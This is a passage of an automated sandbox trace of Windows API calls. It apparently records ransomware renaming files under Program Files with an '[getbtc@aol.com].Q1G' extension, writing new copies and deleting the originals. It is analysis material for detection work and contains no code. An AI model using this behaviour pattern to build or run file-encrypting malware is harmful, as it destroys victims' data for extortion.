lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.247] WriteFile (in: hFile=0x19c, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xea, lpOverlapped=0x0) returned 1 [0049.247] SetEndOfFile (hFile=0x19c) returned 1 [0049.247] CloseHandle (hObject=0x19c) returned 1 [0049.248] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.248] SetEndOfFile (hFile=0x188) returned 1 [0049.249] CloseHandle (hObject=0x188) returned 1 [0049.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.249] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\spring\\preview.gif")) returned 1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString=".doc") returned 4 [0049.250] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.250] lstrlenW (lpString=".docx") returned 5 [0049.250] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.250] lstrlenW (lpString=".pdf") returned 4 [0049.250] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.250] lstrlenW (lpString=".xls") returned 4 [0049.250] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.250] lstrlenW (lpString=".xlsx") returned 5 [0049.250] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.250] lstrlenW (lpString=".ppt") returned 4 [0049.250] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString=".zip") returned 4 [0049.250] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.250] lstrlenW (lpString=".rar") returned 4 [0049.250] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.250] lstrlenW (lpString=".bz2") returned 4 [0049.250] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.250] lstrlenW (lpString=".7z") returned 3 [0049.250] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString=".dbf") returned 4 [0049.250] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString=".1cd") returned 4 [0049.250] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.250] lstrlenW (lpString=".jpg") returned 4 [0049.251] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString=".doc") returned 4 [0049.251] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0049.251] lstrlenW (lpString=".docx") returned 5 [0049.251] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0049.251] lstrlenW (lpString=".pdf") returned 4 [0049.251] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString=".xls") returned 4 [0049.251] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString=".xlsx") returned 5 [0049.251] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0049.251] lstrlenW (lpString=".ppt") returned 4 [0049.251] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString=".zip") returned 4 [0049.251] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString=".rar") returned 4 [0049.251] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0049.251] lstrlenW (lpString=".bz2") returned 4 [0049.251] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0049.251] lstrlenW (lpString=".7z") returned 3 [0049.251] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString=".dbf") returned 4 [0049.251] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString=".1cd") returned 4 [0049.251] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0049.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SPRING\\PREVIEW.GIF") returned 74 [0049.251] lstrlenW (lpString=".jpg") returned 4 [0049.251] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0049.252] lstrcmpiW (lpString1=".PNG", lpString2=".Q1G") returned -1 [0049.252] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0049.252] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.557] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=44302) returned 1 [0049.557] CloseHandle (hObject=0x1fc) returned 1 [0049.563] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 0x20 [0049.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0049.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0049.564] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.564] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.564] GetLastError () returned 0x0 [0049.564] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xad0e, lpOverlapped=0x0) returned 1 [0049.566] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xad10, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xad10, lpOverlapped=0x0) returned 1 [0049.568] ReadFile (in: hFile=0x1d0, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.568] WriteFile (in: hFile=0x1a0, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.568] SetEndOfFile (hFile=0x1a0) returned 1 [0049.568] CloseHandle (hObject=0x1a0) returned 1 [0049.568] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.568] SetEndOfFile (hFile=0x1d0) returned 1 [0049.569] CloseHandle (hObject=0x1d0) returned 1 [0049.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0049.569] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\thmbnail.png")) returned 1 [0049.569] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".doc") returned 4 [0049.570] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString=".docx") returned 5 [0049.570] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.570] lstrlenW (lpString=".pdf") returned 4 [0049.570] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString=".xls") returned 4 [0049.570] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.570] lstrlenW (lpString=".xlsx") returned 5 [0049.570] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.570] lstrlenW (lpString=".ppt") returned 4 [0049.570] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".zip") returned 4 [0049.570] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.570] lstrlenW (lpString=".rar") returned 4 [0049.570] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.570] lstrlenW (lpString=".bz2") returned 4 [0049.570] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString=".7z") returned 3 [0049.570] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".dbf") returned 4 [0049.570] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".1cd") returned 4 [0049.570] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".jpg") returned 4 [0049.570] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.570] lstrlenW (lpString=".doc") returned 4 [0049.571] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.571] lstrlenW (lpString=".docx") returned 5 [0049.571] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.571] lstrlenW (lpString=".pdf") returned 4 [0049.571] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.571] lstrlenW (lpString=".xls") returned 4 [0049.571] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.571] lstrlenW (lpString=".xlsx") returned 5 [0049.571] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.571] lstrlenW (lpString=".ppt") returned 4 [0049.571] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.571] lstrlenW (lpString=".zip") returned 4 [0049.571] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.571] lstrlenW (lpString=".rar") returned 4 [0049.571] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.571] lstrlenW (lpString=".bz2") returned 4 [0049.571] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.571] lstrlenW (lpString=".7z") returned 3 [0049.571] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.571] lstrlenW (lpString=".dbf") returned 4 [0049.571] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.571] lstrlenW (lpString=".1cd") returned 4 [0049.571] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.571] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\THMBNAIL.PNG") returned 77 [0049.571] lstrlenW (lpString=".jpg") returned 4 [0049.571] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.571] lstrcmpiW (lpString1=".CHM", lpString2=".Q1G") returned -1 [0049.571] lstrlenW (lpString="VBLR6.CHM") returned 9 [0049.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.970] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=944994) returned 1 [0050.970] CloseHandle (hObject=0x20c) returned 1 [0050.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 0x20 [0050.970] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0050.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0050.970] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.970] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0050.970] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0050.971] GetLastError () returned 0x0 [0050.971] ReadFile (in: hFile=0x20c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0xe6b62, lpOverlapped=0x0) returned 1 [0051.260] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe6b70, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6b70, lpOverlapped=0x0) returned 1 [0051.998] ReadFile (in: hFile=0x20c, lpBuffer=0x3040020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesRead=0x2a3fed4*=0x0, lpOverlapped=0x0) returned 1 [0051.998] WriteFile (in: hFile=0x184, lpBuffer=0x3040020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2a3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3040020*, lpNumberOfBytesWritten=0x2a3fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0051.999] SetEndOfFile (hFile=0x184) returned 1 [0051.999] CloseHandle (hObject=0x184) returned 1 [0051.999] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a3fec8 | out: lpNewFilePointer=0x0) returned 1 [0051.999] SetEndOfFile (hFile=0x20c) returned 1 [0052.006] CloseHandle (hObject=0x20c) returned 1 [0052.006] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0052.006] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7\\1033\\vblr6.chm")) returned 1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".doc") returned 4 [0052.007] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString=".docx") returned 5 [0052.007] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.007] lstrlenW (lpString=".pdf") returned 4 [0052.007] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString=".xls") returned 4 [0052.007] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString=".xlsx") returned 5 [0052.007] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.007] lstrlenW (lpString=".ppt") returned 4 [0052.007] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".zip") returned 4 [0052.007] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString=".rar") returned 4 [0052.007] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString=".bz2") returned 4 [0052.007] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.007] lstrlenW (lpString=".7z") returned 3 [0052.007] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".dbf") returned 4 [0052.007] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".1cd") returned 4 [0052.007] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".jpg") returned 4 [0052.007] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.007] lstrlenW (lpString=".doc") returned 4 [0052.008] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString=".docx") returned 5 [0052.008] lstrcmpiW (lpString1=".docx", lpString2="6.CHM") returned -1 [0052.008] lstrlenW (lpString=".pdf") returned 4 [0052.008] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString=".xls") returned 4 [0052.008] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString=".xlsx") returned 5 [0052.008] lstrcmpiW (lpString1=".xlsx", lpString2="6.CHM") returned -1 [0052.008] lstrlenW (lpString=".ppt") returned 4 [0052.008] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.008] lstrlenW (lpString=".zip") returned 4 [0052.008] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString=".rar") returned 4 [0052.008] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString=".bz2") returned 4 [0052.008] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0052.008] lstrlenW (lpString=".7z") returned 3 [0052.008] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0052.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.008] lstrlenW (lpString=".dbf") returned 4 [0052.008] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0052.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.008] lstrlenW (lpString=".1cd") returned 4 [0052.008] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0052.008] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7\\1033\\VBLR6.CHM") returned 70 [0052.008] lstrlenW (lpString=".jpg") returned 4 [0052.008] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0052.008] lstrcmpiW (lpString1=".png", lpString2=".Q1G") returned -1 [0052.008] lstrlenW (lpString="NavigationRight_ButtonGraphic.png") returned 33 [0052.008] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0052.112] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2a3ff1c | out: lpFileSize=0x2a3ff1c*=5025) returned 1 [0052.112] CloseHandle (hObject=0x198) returned 1 [0052.112] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png")) returned 0x20 [0052.112] GetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0052.112] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\flippage\\navigationright_buttongraphic.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0052.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.112] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.112] lstrlenW (lpString=".doc") returned 4 [0052.112] lstrcmpiW (lpString1=".doc", lpString2=".png") returned -1 [0052.112] lstrlenW (lpString=".docx") returned 5 [0052.112] lstrcmpiW (lpString1=".docx", lpString2="c.png") returned -1 [0052.112] lstrlenW (lpString=".pdf") returned 4 [0052.112] lstrcmpiW (lpString1=".pdf", lpString2=".png") returned -1 [0052.112] lstrlenW (lpString=".xls") returned 4 [0052.113] lstrcmpiW (lpString1=".xls", lpString2=".png") returned 1 [0052.113] lstrlenW (lpString=".xlsx") returned 5 [0052.113] lstrcmpiW (lpString1=".xlsx", lpString2="c.png") returned -1 [0052.113] lstrlenW (lpString=".ppt") returned 4 [0052.113] lstrcmpiW (lpString1=".ppt", lpString2=".png") returned 1 [0052.113] lstrlenW (lpString="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\NavigationRight_ButtonGraphic.png") returned 86 [0052.113] lstrlenW (lpString=".zip") returned 4 [0052.113] lstrcmpiW (lpString1=".zip", lpString2=".png") returned 1 [0052.113] lstrlenW 